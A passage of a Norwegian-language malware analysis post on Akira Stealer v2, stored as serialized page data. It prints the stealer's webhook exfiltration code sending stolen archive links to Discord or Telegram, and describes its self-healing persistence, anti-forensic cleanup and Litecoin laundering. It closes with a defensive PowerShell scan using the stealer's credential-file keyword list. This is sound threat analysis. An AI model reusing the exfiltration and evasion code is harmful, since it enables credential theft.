attacker always has direct URL, even if embeds fail\nmessage = f\"📥 Archive available at: {download_url}\"\nrequests.post(webhook_url, data={'message': message}, timeout=8)\n",[551,10521,10522,10527,10532],{"__ignoreMap":594},[1683,10523,10524],{"class":1685,"line":1686},[1683,10525,10526],{},"# Ensure attacker always has direct URL, even if embeds fail\n",[1683,10528,10529],{"class":1685,"line":2062},[1683,10530,10531],{},"message = f\"📥 Archive available at: {download_url}\"\n",[1683,10533,10534],{"class":1685,"line":2068},[1683,10535,10536],{},"requests.post(webhook_url, data={'message': message}, timeout=8)\n",[604,10538,10539],{},[607,10540,10541,10544],{},[540,10542,10543],{},"Plain Text",": Garanterer at lenken kommer fram dersom embeds blokkeres eller forkastes i stillhet.",[533,10546,10547],{},[540,10548,10549],{},"How the Attacker Retrieves the Link",[533,10551,10552,10555],{},[540,10553,10554],{},"1. Webhook Infrastructure","\nAngriperen legger webhook-endepunktet inn i konfigurasjonen til malwaren:",[588,10557,10559],{"className":4490,"code":10558,"language":4492,"meta":594,"style":594},"# at class initialization\nself.default_webhook = \"%DISCORD_OR_TG_WEBHOOK_URL%\"\n",[551,10560,10561,10566],{"__ignoreMap":594},[1683,10562,10563],{"class":1685,"line":1686},[1683,10564,10565],{},"# at class initialization\n",[1683,10567,10568],{"class":1685,"line":2062},[1683,10569,10570],{},"self.default_webhook = \"%DISCORD_OR_TG_WEBHOOK_URL%\"\n",[604,10572,10573,10580],{},[607,10574,10575,973,10577],{},[540,10576,1317],{},[551,10578,10579],{},"https://discord.com/api/webhooks/\u003CWEBHOOK_ID>/\u003CWEBHOOK_TOKEN>",[607,10581,10582,973,10585],{},[540,10583,10584],{},"Telegram",[551,10586,10587],{},"https://api.telegram.org/bot\u003CTELEGRAM_TOKEN>/sendMessage",[533,10589,10590,10593],{},[540,10591,10592],{},"2. Real-Time Delivery","\nUmiddelbart etter en vellykket filopplasting kjører malwaren:",[588,10595,10597],{"className":4490,"code":10596,"language":4492,"meta":594,"style":594},"payload = {\n  'username': 'Akira 💊',\n  'embeds': [{\n      'title': '🗄️ Exfiltration Complete',\n      'fields': [\n          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}\n      ]\n  }]\n}\n# Transmit the archive URL entirely in the JSON body\nrequests.post(self.default_webhook, json=payload, timeout=8)\n",[551,10598,10599,10603,10608,10613,10618,10623,10628,10633,10638,10642,10647],{"__ignoreMap":594},[1683,10600,10601],{"class":1685,"line":1686},[1683,10602,10474],{},[1683,10604,10605],{"class":1685,"line":2062},[1683,10606,10607],{},"  'username': 'Akira 💊',\n",[1683,10609,10610],{"class":1685,"line":2068},[1683,10611,10612],{},"  'embeds': [{\n",[1683,10614,10615],{"class":1685,"line":2074},[1683,10616,10617],{},"      'title': '🗄️ Exfiltration Complete',\n",[1683,10619,10620],{"class":1685,"line":2394},[1683,10621,10622],{},"      'fields': [\n",[1683,10624,10625],{"class":1685,"line":2400},[1683,10626,10627],{},"          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}\n",[1683,10629,10630],{"class":1685,"line":3058},[1683,10631,10632],{},"      ]\n",[1683,10634,10635],{"class":1685,"line":3854},[1683,10636,10637],{},"  }]\n",[1683,10639,10640],{"class":1685,"line":3860},[1683,10641,2403],{},[1683,10643,10644],{"class":1685,"line":4105},[1683,10645,10646],{},"# Transmit the archive URL entirely in the JSON body\n",[1683,10648,10649],{"class":1685,"line":5029},[1683,10650,10651],{},"requests.post(self.default_webhook, json=payload, timeout=8)\n",[604,10653,10654,10663],{},[607,10655,10656,10657,10659,10660,586],{},"Variabelen ",[551,10658,10510],{}," interpoleres inn i embedens ",[551,10661,10662],{},"fields.value",[607,10664,10665,10666,10668,10669,586],{},"For Telegram-fallbacken dukker ",[551,10667,10510],{}," opp i klartekstparameteren ",[551,10670,10671],{},"message",[533,10673,10674],{},[540,10675,10676],{},"3. EDR & Forensic Visibility Limitations",[604,10678,10679,10688],{},[607,10680,10681,10684,10685,10687],{},[540,10682,10683],{},"No Local Logging",": Malwaren skriver ikke ",[551,10686,10510],{}," til disk eller systemlogger.",[607,10689,10690,10693],{},[540,10691,10692],{},"EDR Blind Spots",": Verktøy som Microsoft Defender for Endpoint kan flagge forsøket på HTTP-forespørsel, men klarer ikke å hente ut den innebygde URL-en.",[533,10695,10696],{},[540,10697,10698],{},"4. Why the Analyst Cannot Recover This Locally:",[604,10700,10701,10713,10733],{},[607,10702,10703,10706,10707,10709,10710,10712],{},[540,10704,10705],{},"No Local Copy of Link",": Malwaren skriver ",[551,10708,10510],{}," bare i minnet og sender den over nettverket; den lagrer ",[4629,10711,1580],{}," denne URL-en til disk eller logger.",[607,10714,10715,10718,10719,10721,10726,10727,10729,10730,586],{},[540,10716,10717],{},"Ephemeral Staging Cleanup",": Umiddelbart etter opplastingen kjører koden:",[698,10720],{},[1683,10722,10725],{"className":10723},[10724],"text-monospace","shutil.rmtree(ROOT)",",",[698,10728],{},"\nsom sletter alle stagede artefakter, inkludert eventuelle midlertidige tekstfiler, fra ",[551,10731,10732],{},"%TEMP%",[607,10734,10735,10738,10739,10742],{},[540,10736,10737],{},"Network-Only Transmission",": Webhook-kallene (",[551,10740,10741],{},"requests.post",") skjer i minnet; det opprettes ingen HTTP-logger eller oppføringer i nettleserhistorikken på maskinen til offeret.",[821,10744,10745],{},[533,10746,10747,10750,10751,10753,10754,10756],{},[540,10748,10749],{},"Implication for Analysts:","\nUten pakkefangst i sanntid, for eksempel en nettverks-TAP eller proxy, på kjøringstidspunktet er den eksakte ",[551,10752,10510],{}," umulig å gjenopprette etter infeksjonen.\nI tillegg slettes det eksfiltrerte arkivet automatisk fra hostingtjenesten, noe som krymper vinduet for forensisk uthenting ytterligere.\nImaging etter infeksjonen eller vertsbasert forensisk gjenoppretting vil ",[4629,10755,1580],{}," avdekke angriperens URL eller credentials til filverten, siden ingen artefakter ligger igjen lokalt.",[827,10758],{"className":10759},[830,831],[714,10761,10763],{"id":10762},"_713-konklusjon","7.13 Konklusjon",[533,10765,720],{},[533,10767,10768,10770],{},[551,10769,582],{}," (Akira Stealer v2) er et omfattende, kommersielt distribuert stealer-verktøysett. Det kombinerer bred målretting, avansert anti-analyse, dynamisk kontroll over infrastrukturen og datatyveri i hele stacken, på tvers av credentials, krypto, systemprofilering og brukerfiler. Modulariteten og skjultheten, kombinert med raske reinfeksjonsmetoder, gjør den til en av de teknisk mest avanserte stealerne vi har observert i aktiv bruk.",[528,10772,10774],{"id":10773},"_8-sirkulær-kjøringskjede-en-selvhelende-løkke","8. Sirkulær kjøringskjede: en selvhelende løkke",[533,10776,535],{},[533,10778,10779,10780,10783],{},"Et av de teknisk mest gjennomarbeidede elementene i denne kampanjen er den regenerative, sirkulære kjøringsmodellen. Til forskjell fra konvensjonell malware med lineære trinn som går fra dropper til payload og deretter forsvinner, er denne operasjonen konstruert som en ",[540,10781,10782],{},"closed loop",", der hver komponent passer på de andre.",[533,10785,10786,10787,10790],{},"Denne ",[540,10788,10789],{},"selvhelende arkitekturen"," gjorde infeksjonskjeden ikke bare vedvarende, men også autonom. Den kunne hente seg helt inn igjen etter delvis fjerning. Så lenge én del var i live, kunne hele malware-økosystemet sette seg sammen igjen.",[714,10792,10794],{"id":10793},"_81-atferden-brutt-ned","8.1 Atferden brutt ned",[533,10796,720],{},[2082,10798,10799,10825,10838,10869,10887],{},[607,10800,10801,10806,10808,10809,10812,10813,10815,10816,10818,10819,10821,10822,10824],{},[540,10802,10803,10804,1113],{},"Persistence Anchor (",[551,10805,574],{},[551,10807,574],{}," er det grunnleggende fotfestet. Den droppes vanligvis i en oppstartsplassering for Windows-brukeren, for eksempel ",[551,10810,10811],{},"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup",", eller registreres via ",[551,10814,1655],{},". Oppgaven er enkel, men kritisk: sørge for at ",[551,10817,578],{}," finnes og starte den stille når brukeren logger på. Mangler ",[551,10820,578],{},", pakker den ut arkivet ",[551,10823,1825],{}," på nytt (det ligger i en temp-mappe eller droppes på nytt) og gjenskaper hele Electron-app-strukturen.",[607,10826,10827,10832,10834,10835,10837],{},[540,10828,10829,10830,1113],{},"Bridge Loader (",[551,10831,578],{},[551,10833,578],{}," er Node.js-applikasjonen pakket i Electron. Den viser ingen GUI og arbeider utelukkende i bakgrunnen. Ved kjøring kjører den den innebygde JavaScript-logikken i ",[551,10836,1047],{},", med Node.js som runtime-miljø. Dette abstraksjonslaget frikobler kjernelogikken fra PE-stubben og hjelper den med å unngå tradisjonell analyse.",[607,10839,10840,10845,10846,10848,10849],{},[540,10841,10842,10843,1113],{},"Execution Orchestrator (",[551,10844,2808],{},"\nInnebygd i ",[551,10847,1047],{}," er dette den egentlige styringsenheten i infeksjonskjeden. Hovedfunksjonene er:",[604,10850,10851,10857,10860],{},[607,10852,10853,10854,10856],{},"Å sjekke om ",[551,10855,574],{}," finnes, og rulle den ut på nytt hvis den mangler",[607,10858,10859],{},"Å injisere runtime-konfigurasjon dynamisk: webhook-URL-er, C2-adresser, tokens",[607,10861,10862,10863,10865,10866,10868],{},"Å enten kalle Python-payloaden som allerede ligger der (",[551,10864,582],{},") eller laste den ned som del av en ZIP-pakke (for eksempel ",[551,10867,2872],{},") fra infrastruktur angriperen kontrollerer",[607,10870,10871,10876,10877,10879,10880,10882,10883,10886],{},[540,10872,10873,10874,1113],{},"Payload Execution (",[551,10875,582],{},"\nNår den utløses, kjører ",[551,10878,582],{}," i minnet via ",[551,10881,553],{},". Den samler systematisk inn lagrede credentials, cookies, Discord-tokens, nettlesersesjonsdata og utvidelser for kryptovaluta-lommebøker. Dataene stages i et ZIP-arkiv og eksfiltreres via HTTPS, oftest til Discord-webhooks, men fallback-API-er som ",[551,10884,10885],{},"gofile.io"," eller egne C2-endepunkter er også observert.",[607,10888,10889,10892,10893,10895,10896,10898,10899,10901,10902,10904,10905,10907],{},[540,10890,10891],{},"Loop Integrity and Self-Healing","\nDesignet er sirkulært. Slettes ",[551,10894,574],{},", rulles den ut på nytt. Mangler ",[551,10897,578],{},", pakker ",[551,10900,574],{}," den ut på nytt fra ",[551,10903,1825],{},". Slettes ",[551,10906,582],{},", hentes den på nytt av JavaScript-laget. Denne gjensidige avhengigheten gjør malwaren robust og i stand til å rekonstruere kjøringskjeden sin fra praktisk talt hvilket som helst gjenlevende fragment.",[533,10909,10910,10911,10914],{},"Arkitekturen er ikke bare modulær, den er ",[540,10912,10913],{},"selvopprettholdende",", bevisst konstruert for stealth, fleksibilitet og langsiktig overlevelse i målmiljøene.",[714,10916,10918],{"id":10917},"_82-hvorfor-dette-er-verdt-å-merke-seg","8.2 Hvorfor dette er verdt å merke seg",[533,10920,720],{},[533,10922,10923,10924,586],{},"Den arkitektoniske utformingen av kampanjen viser et nivå man normalt ikke ser i vanlige infostealere. Den går forbi enkle flertrinnsloadere: dette er malware konstruert for ",[540,10925,10926],{},"operativ robusthet, stealth og automatisering",[533,10928,10929],{},[540,10930,10931],{},"Key Characteristics",[604,10933,10934,10940,10978,10998],{},[607,10935,10936,10939],{},[540,10937,10938],{},"Full Autonomy","\nNår den først er rullet ut, krever malwaren ingen brukerinteraksjon eller ekstern reaktivering. Den opptrer som en skadelig mikrotjeneste og orkestrerer sin egen persistence, payload-kjøring og reparasjonsrutiner uten ekstern styring.",[607,10941,10942,10945,10946],{},[540,10943,10944],{},"Multi-Language Execution Stack","\nVerktøykjeden integrerer:",[604,10947,10948,10958,10964,10970],{},[607,10949,10950,10953,10954,620,10956,1113],{},[540,10951,10952],{},"PE Binaries"," (",[551,10955,574],{},[551,10957,578],{},[607,10959,10960,10963],{},[540,10961,10962],{},"Node.js / JavaScript"," (via Electron)",[607,10965,10966,10969],{},[540,10967,10968],{},"PowerShell"," (brukt til obfuskert payload-relé)",[607,10971,10972,10953,10975,10977],{},[540,10973,10974],{},"Python",[551,10976,582],{},", kjørt som minneresident stealer)\nDenne lagdelte sammensetningen gjør den vanskeligere å profilere, ta fingeravtrykk av og analysere med konvensjonelle statiske verktøy.",[607,10979,10980,10983,10984],{},[540,10981,10982],{},"Defense Evasion by Design","\nHver komponent er kodet, kryptert eller dynamisk injisert:",[604,10985,10986,10989,10992,10995],{},[607,10987,10988],{},"Base64 PowerShell-relé",[607,10990,10991],{},"AES-kryptert og GZIP-komprimert Python-kjerne",[607,10993,10994],{},"Obfuskert JavaScript med token-injeksjon ved kjøring",[607,10996,10997],{},"Selvhelende atferd som vanskeliggjør delvis fjerning",[607,10999,11000,11003,11004,11007,11008,11010,11011,11013],{},[540,11001,11002],{},"No Single Point of Failure","\nSelvreparasjonslogikken i malwaren sørger for at ",[540,11005,11006],{},"det ikke er nok å fjerne én enkelt komponent",". Fjernes ",[551,11009,574],{},", gjenskaper infostealeren den. Slettes ",[551,11012,582],{},", lastes den ned og rulles ut på nytt av JavaScript-styringsenheten.",[533,11015,11016,11017,11020],{},"Kort sagt oppfører malwaren seg mer som et ",[540,11018,11019],{},"distribuert system"," enn som en vanlig payload, et system som prioriterer overlevelse, modularitet og stealth.",[533,11022,11023,11024,11027],{},"Det løfter trusselen fra et opportunistisk angrep til en ",[540,11025,11026],{},"robust, tilpasningsdyktig plattform",", og krever at forsvarere møter kompleksiteten med like lagdelte strategier for deteksjon og respons.",[714,11029,11031],{"id":11030},"_83-konsekvenser-for-blue-teams","8.3 Konsekvenser for blue teams",[533,11033,720],{},[533,11035,11036],{},"For forsvarere og CSOC-operatører hever denne typen arkitektur lista:",[604,11038,11039,11045,11060],{},[607,11040,11041,11044],{},[540,11042,11043],{},"Delvis opprydding virker ikke",". Alle noder må identifiseres og fjernes samtidig.",[607,11046,11047,11050,11051,11053,11054,11053,11056,11053,11058,586],{},[540,11048,11049],{},"Korrelasjon i Defender for Endpoint"," er avgjørende. Analytikere må spore hele kjeder: fra ",[551,11052,574],{}," → ",[551,11055,1102],{},[551,11057,1198],{},[551,11059,553],{},[607,11061,11062,11065],{},[540,11063,11064],{},"IOC-fri persistence"," betyr at minnebaserte heuristikker, baselining av telemetri og kjedebasert deteksjon er nøkkelen.",[533,11067,11068,11069,11072],{},"Dette er ikke bare en stealer. Det er en ",[540,11070,11071],{},"robust malware-plattform"," som oppfører seg mer som et distribuert system enn som en enkel trussel. Og nettopp det er det som gjør den både imponerende og farlig.",[528,11074,11076],{"id":11075},"_9-blockchain-sporing-og-analyse","9. Blockchain-sporing og analyse",[533,11078,535],{},[714,11080,11082],{"id":11081},"_91-å-spore-pengeflyten-i-en-litecoin-basert-malware-kampanje","9.1 Å spore pengeflyten i en Litecoin-basert malware-kampanje",[533,11084,720],{},[533,11086,11087,11088,11091],{},"Under reverse engineering-fasen av denne malware-kampanjen hentet vi ut flere hardkodede lommebokadresser som stealeren brukte til eksfiltrering av kryptovaluta. Ved å følge on-chain-aktiviteten til disse Litecoin-lommebøkene kunne vi avdekke mønstre som tyder på bevisst hvitvasking. Lommeboken ",[551,11089,11090],{},"LW6EopiZ...",", som angriperen kontrollerer, fungerer som et sentralt samlingspunkt. Midler stjålet fra flere ofre kanaliseres inn til denne adressen, og derfra fordeles de raskt videre til flere nye adresser.",[533,11093,11094],{},"Atferden vi ser her, er representativ for et klassisk split-transfer-mønster som brukes i crypto tumbling eller mixing. I hvert tilfelle deles hele den innkommende balansen i to omtrent proporsjonale utgående transaksjoner, hver til sin lommebok. Strategien skal vanskeliggjøre address clustering og chain tracing ved å obfuskere hvor midlene kommer fra. Det er en effektiv taktikk for å unngå deteksjon fra automatiserte plattformer for blockchain-analyse og threat intelligence.",[533,11096,11097],{},"Denne hvitvaskingsatferden bruker en kombinasjon av timing på transaksjonene, presis oppdeling av verdier og minimert gjenbruk av adresser for å omgå heuristikker som klyngealgoritmer vanligvis bruker, slik de gjør i GraphSense, Chainalysis eller TRM Labs. Målet er å skape transaksjonsflyter med høy entropi, som forvirrer attribusjon og bryter koblingene, særlig når midlene til slutt bygges over til andre verdier eller veksles til personvernorienterte coins.",[533,11099,11100],{},"I eksempelet under viser vi et strukturert utsnitt av denne atferden. De innkommende transaksjonene representerer ulike overføringer fra ofre. Verdiene kartlegges deretter presist til de utgående flytene, og viser hvordan coins \"vaskes\" gjennom raske, forutsigbare og algoritmisk oppdelte utbetalinger.",[1391,11102,4684,11106],{"className":11103,"style":11105},[11104],"font-size-1","width:100%; border-collapse: collapse;",[1407,11107,11108,4684,11131,4684,11164,4684,11192,4684,11221],{},[1397,11109,4689,11110,4689,11114,4689,11118,4689,11121,4689,11125,4689,11128,4684],{},[1400,11111,11113],{"style":11112},"text-align: left; width: 14%;","Kilde inn",[1400,11115,11117],{"style":11116},"text-align: left; width: 12%;","Dato inn",[1400,11119,11120],{"style":11112},"Beløp inn (LTC)",[1400,11122,11124],{"style":11123},"text-align: left; width: 20%;","→ Angriperens lommebok",[1400,11126,11127],{"style":6302},"Utgående adresser",[1400,11129,11130],{},"Totalt ut (LTC)",[1397,11132,4689,11133,4689,11136,4689,11139,4689,11142,4689,11149,4689,11162,4684],{},[1412,11134,11135],{},"Input_1",[1412,11137,11138],{},"2024-09-21",[1412,11140,11141],{},"0.25339198",[1412,11143,11144,11145,4689],{},"\n      ",[1683,11146,11148],{"title":11147},"LLQtaBnSAFpCFUw5cXRRka7Nvtrs4Up9bH","LLQtaBnSAF...",[1412,11150,11151,11152,11155,11156,11151,11158,11161],{},"\n      - ",[551,11153,11154],{},"LZmHkgkED..."," (0.15579078, 2024-09-26)",[698,11157],{},[551,11159,11160],{},"M8JpDsw5H7..."," (0.09760120, 2024-09-26)\n    ",[1412,11163,11141],{},[1397,11165,4689,11166,4689,11169,4689,11172,4689,11175,4689,11179,4689,11190,4684],{},[1412,11167,11168],{},"Input_2",[1412,11170,11171],{},"2024-04-16",[1412,11173,11174],{},"1.09976044",[1412,11176,11144,11177,4689],{},[1683,11178,11148],{"title":11147},[1412,11180,11151,11181,11184,11185,11151,11187,11189],{},[551,11182,11183],{},"LgWrCAF8ED..."," (0.84304664, 2024-06-13)",[698,11186],{},[551,11188,11183],{}," (0.25671380, 2024-06-13)\n    ",[1412,11191,11174],{},[1397,11193,4689,11194,4689,11197,4689,11200,4689,11203,4689,11207,4689,11219,4684],{},[1412,11195,11196],{},"Input_3",[1412,11198,11199],{},"2024-03-06",[1412,11201,11202],{},"0.77089346",[1412,11204,11144,11205,4689],{},[1683,11206,11148],{"title":11147},[1412,11208,11151,11209,11212,11213,11151,11215,11218],{},[551,11210,11211],{},"LZL3wQcSRP..."," (0.38544673, 2024-03-04)",[698,11214],{},[551,11216,11217],{},"M8kiBpVHG3..."," (0.38544673, 2024-03-04)\n    ",[1412,11220,11202],{},[1397,11222,4689,11223,4689,11226,4689,11228,4689,11230,4689,11234,4689,11244,4684],{},[1412,11224,11225],{},"Input_4",[1412,11227,11199],{},[1412,11229,11202],{},[1412,11231,11144,11232,4689],{},[1683,11233,11148],{"title":11147},[1412,11235,11151,11236,11212,11239,11151,11241,11218],{},[551,11237,11238],{},"LUFLTrqYpix...",[698,11240],{},[551,11242,11243],{},"La22dfH9eM...",[1412,11245,11202],{},[827,11247],{"className":11248},[830,831],[528,11250,11252],{"id":11251},"_10-inne-i-akira-økosystemet-kommersialisert-infrastruktur-for-cyberkriminalitet","10. Inne i Akira-økosystemet - kommersialisert infrastruktur for cyberkriminalitet",[533,11254,535],{},[533,11256,11257],{},"Akira er ikke bare en stealer, den er midtpunktet i et blomstrende undergrunnsøkosystem laget for å forenkle, skalere og tjene penger på cyberkriminalitet.",[714,11259,11261],{"id":11260},"_101-et-plug-and-play-økosystem-for-trusselaktører","10.1 Et plug-and-play-økosystem for trusselaktører",[533,11263,720],{},[533,11265,11266],{},"Akira-økosystemet er et eksempel på hvordan cyberkriminalitet har utviklet seg til en profesjonalisert, tjenestedrevet økonomi. Det omfatter:",[604,11268,11269,11278,11284,11290,11296],{},[607,11270,11271,11274,11275,1113],{},[540,11272,11273],{},"Builder Bots"," for generering av payloads på bestilling (for eksempel ",[551,11276,11277],{},"@AkiraRedBot",[607,11279,11280,11283],{},[540,11281,11282],{},"Telegram-kanaler"," for oppdateringer, funksjonsønsker og kundestøtte",[607,11285,11286,11289],{},[540,11287,11288],{},"Automatisert lisens- og betalingshåndtering",", ofte via direktemeldinger eller anonyme e-handelsplattformer som Sellix",[607,11291,11292,11295],{},[540,11293,11294],{},"Ferdigpakkede moduler"," som clipboard hijackers, Discord token loggers, browser data stealers og til og med ransomware-tillegg",[607,11297,11298,11301],{},[540,11299,11300],{},"Tilpassbare payloads"," med konfigurasjonsgrensesnitt for brytere, webhook-inndata og ikonbranding",[533,11303,11304],{},[748,11305],{"alt":11306,"src":11307},"Akira Stealer","https://res.cloudinary.com/c4a8/image/upload/v1749797420/blog/pics/akira-stealer-v2.jpg",[714,11309,11311],{"id":11310},"_102-kommersialisering-av-cyberkriminalitet","10.2 Kommersialisering av cyberkriminalitet",[533,11313,720],{},[533,11315,11316],{},"Strukturen til Akira speiler en bredere bevegelse mot \"Malware-as-a-Service\" (MaaS), der:",[604,11318,11319,11325,11331,11337],{},[607,11320,11321,11324],{},[540,11322,11323],{},"Ingen dyp teknisk kompetanse"," kreves for å sette i gang angrep",[607,11326,11327,11330],{},[540,11328,11329],{},"Inngangskostnadene er lave"," ($75 for 3 måneder, $150 for livstid)",[607,11332,11333,11336],{},[540,11334,11335],{},"Støtte og dokumentasjon er umiddelbart tilgjengelig"," via Telegram",[607,11338,11339,11342],{},[540,11340,11341],{},"Bidrag fra miljøet"," utvider Akira jevnlig med skript og funksjonsforslag",[533,11344,11345],{},"Dette økosystemet etterligner legitime SaaS-forretningsmodeller, med changelogs, UX-forbedringer, prisnivåer og oppsalg.",[533,11347,11348],{},[748,11349],{"alt":11350,"src":11351},"Akria Stealer","https://res.cloudinary.com/c4a8/image/upload/v1749797061/blog/pics/akira-stealer.jpg",[714,11353,11355],{"id":11354},"_103-utover-stealeren-komponentene-i-økosystemet","10.3 Utover stealeren - komponentene i økosystemet",[533,11357,720],{},[533,11359,1714,11360,11362],{},[551,11361,582],{}," er hjertet i mange angrep, gir økosystemet en komplett kjede:",[604,11364,11365,11368,11371,11374,11377],{},[607,11366,11367],{},"Obfuskeringsverktøy som PyInstaller-wrappere",[607,11369,11370],{},"File binders for å koble skadelige payloads til godartet programvare",[607,11372,11373],{},"Compilere, cryptere og polymorfisme ved kjøring",[607,11375,11376],{},"Hosting-speil for payload-leveranse og eksfiltrering (for eksempel GoFile, AnonFiles)",[607,11378,11379],{},"Datahåndteringsboter som oppsummerer stjålne credentials og maskinvareprofiler",[533,11381,11382],{},[748,11383],{"alt":11384,"src":11385},"Akira Bot","https://res.cloudinary.com/c4a8/image/upload/v1749797107/blog/pics/akira-bot.jpg",[528,11387,11389],{"id":11388},"_11-akira-stealer-quickcheck-berørte-filer","11. Akira Stealer QuickCheck: berørte filer",[533,11391,535],{},[714,11393,11395],{"id":11394},"_111-hva-er-dette-til-for","11.1 Hva er dette til for?",[533,11397,720],{},[533,11399,11400,11401,620,11404,620,11407,558,11410,11413],{},"Etter en mistenkt Akira Stealer-infeksjon er det avgjørende å få vite umiddelbart hvilke filer på systemet ditt som sto i fare for å bli eksfiltrert. QuickCheck-PowerShell-skriptet som er beskrevet over, gjenskaper den eksakte søkelogikken til Akira: det skanner brukerens mapper ",[540,11402,11403],{},"Desktop",[540,11405,11406],{},"Documents",[540,11408,11409],{},"Downloads",[540,11411,11412],{},"OneDrive"," etter filer som:",[604,11415,11416,11431,11434],{},[607,11417,11418,11419,620,11422,620,11425,8764,11428],{},"Inneholder sensitive nøkkelord i filnavnet, som ",[551,11420,11421],{},"password",[551,11423,11424],{},"wallet",[551,11426,11427],{},"backup",[551,11429,11430],{},"token",[607,11432,11433],{},"Har bestemte filendelser som ofte er mål (.txt, .docx, .pdf, .jpg og liknende)",[607,11435,11436],{},"Ligger under størrelsesgrensen på 2 MB som malwaren håndhever",[533,11438,11439,11440,11443],{},"QuickCheck gir en rask oversikt basert på den interne logikken i Akira Stealer, men ",[540,11441,11442],{},"den erstatter ikke"," omfattende forensiske verktøy eller profesjonell incident response. Følg alltid opp med dypere analyse når du har å gjøre med bekreftede innbrudd.",[533,11445,11446,11447,620,11450,620,11453,11456,11457,586],{},"Deretter viser den en sortert tabell med ",[540,11448,11449],{},"Filename",[540,11451,11452],{},"Relative Path",[540,11454,11455],{},"Size (KB)"," og det ",[540,11458,11459],{},"utløsende nøkkelordet",[821,11461,11462],{},[533,11463,11464,11467,11468,11471,11472,11474,11475,11478],{},[540,11465,11466],{},"DISCLAIMER","\nDette verktøyet leveres ",[540,11469,11470],{},"\"as is\""," uten noen garanti for fullstendighet eller egnethet for et bestemt formål. Det garanterer ",[540,11473,1580],{}," at ",[540,11476,11477],{},"alle"," potensielt sensitive filer blir funnet, og det erstatter ikke fullstendig malware-forensikk. Bruk på eget ansvar.",[827,11480],{"className":11481},[830],[714,11483,11485],{"id":11484},"juridisk-merknad","Juridisk merknad",[533,11487,720],{},[533,11489,11490,11491,11494,11495,11498],{},"Dette QuickCheck-verktøyet er utelukkende ment for vurderinger innen ",[540,11492,11493],{},"defensiv sikkerhet",". All uautorisert skanning eller bruk på systemer du ikke eier, kan bryte lover om personvern, opphavsrett eller datamisbruk. glueckkanja AG tar ",[540,11496,11497],{},"ikke noe ansvar"," for misbruk eller skader som følger av bruken.",[714,11500,11502],{"id":11501},"powershell-skript","PowerShell-skript",[533,11504,720],{},[588,11506,11508],{"className":1677,"code":11507,"language":1679,"meta":594,"style":594},"\u003C#\n.SYNOPSIS\n    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.\n\n.DESCRIPTION\n    Scans Desktop, Documents, Downloads and OneDrive for files that:\n      • Contain one of the defined keywords in their name\n      • Have an allowed file extension\n      • Are not larger than 2 MB\n    Presents the results in a colored, tabular overview.\n\n.NOTES\n    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach\n#>\n\n# -------------------------------------\n# 1. Configuration\n# -------------------------------------\n$scanFolders = @(\n    \"$env:USERPROFILE\\Desktop\",\n    \"$env:USERPROFILE\\Documents\",\n    \"$env:USERPROFILE\\Downloads\",\n    \"$env:USERPROFILE\\OneDrive\"\n)\n$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'\n$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'\n$maxSize    = 2MB\n\n# -------------------------------------\n# 2. Scan and Collect Matches\n# -------------------------------------\n$matches = [System.Collections.Generic.List[PSObject]]::new()\n\nforeach ($folder in $scanFolders) {\n    if (-not (Test-Path $folder)) { continue }\n    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {\n        # 2.1 Extension filter\n        if ($extensions -notcontains $_.Extension.ToLower()) { return }\n        # 2.2 Size filter\n        if ($_.Length -gt $maxSize) { return }\n\n        # 2.3 Keyword filter: explicit loop to avoid null-method calls\n        $hit = $null\n        foreach ($kw in $keywords) {\n            if ($_.Name.ToLower().Contains($kw)) {\n                $hit = $kw\n                break\n            }\n        }\n        if (-not $hit) { return }\n\n        # 2.4 Build relative path\n        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)\n\n        # 2.5 Collect\n        $matches.Add([PSCustomObject]@{\n            FileName    = $_.Name\n            Location    = $rel\n            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)\n            Keyword     = $hit\n        })\n    }\n}\n\n# -------------------------------------\n# 3. Display Results\n# -------------------------------------\nclear\nWrite-Host \"🔍 glueckkanja AG – Akira Stealer QuickCheck\" -ForegroundColor Cyan\nWrite-Host \"────────────────────────────────────────────────────────\" -ForegroundColor DarkCyan\n\nif ($matches.Count -gt 0) {\n    $matches |\n        Sort-Object Location, FileName |\n        Format-Table -AutoSize `\n            @{Label='File';       Expression={$_.FileName}},\n            @{Label='Location';   Expression={$_.Location}},\n            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},\n            @{Label='Keyword';    Expression={$_.Keyword}}\n\n    Write-Host \"`n⚠️  Total potential matches: $($matches.Count)\" -ForegroundColor Yellow\n}\nelse {\n    Write-Host \"✅ No potentially compromised files found.\" -ForegroundColor Green\n}\n\nWrite-Host \"`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach\" -ForegroundColor DarkGray\nWrite-Host \"Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis.\" -ForegroundColor DarkGray\n",[551,11509,11510,11515,11520,11525,11529,11534,11539,11544,11549,11554,11559,11563,11568,11573,11578,11582,11587,11592,11596,11601,11606,11611,11616,11621,11625,11630,11635,11640,11644,11648,11653,11657,11662,11666,11671,11676,11681,11686,11691,11696,11701,11705,11710,11715,11720,11725,11730,11735,11740,11745,11750,11754,11759,11764,11768,11773,11778,11783,11788,11793,11798,11803,11808,11812,11816,11820,11825,11829,11834,11839,11844,11848,11853,11858,11863,11868,11873,11878,11883,11889,11894,11900,11905,11911,11917,11922,11927,11933],{"__ignoreMap":594},[1683,11511,11512],{"class":1685,"line":1686},[1683,11513,11514],{},"\u003C#\n",[1683,11516,11517],{"class":1685,"line":2062},[1683,11518,11519],{},".SYNOPSIS\n",[1683,11521,11522],{"class":1685,"line":2068},[1683,11523,11524],{},"    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.\n",[1683,11526,11527],{"class":1685,"line":2074},[1683,11528,3851],{"emptyLinePlaceholder":325},[1683,11530,11531],{"class":1685,"line":2394},[1683,11532,11533],{},".DESCRIPTION\n",[1683,11535,11536],{"class":1685,"line":2400},[1683,11537,11538],{},"    Scans Desktop, Documents, Downloads and OneDrive for files that:\n",[1683,11540,11541],{"class":1685,"line":3058},[1683,11542,11543],{},"      • Contain one of the defined 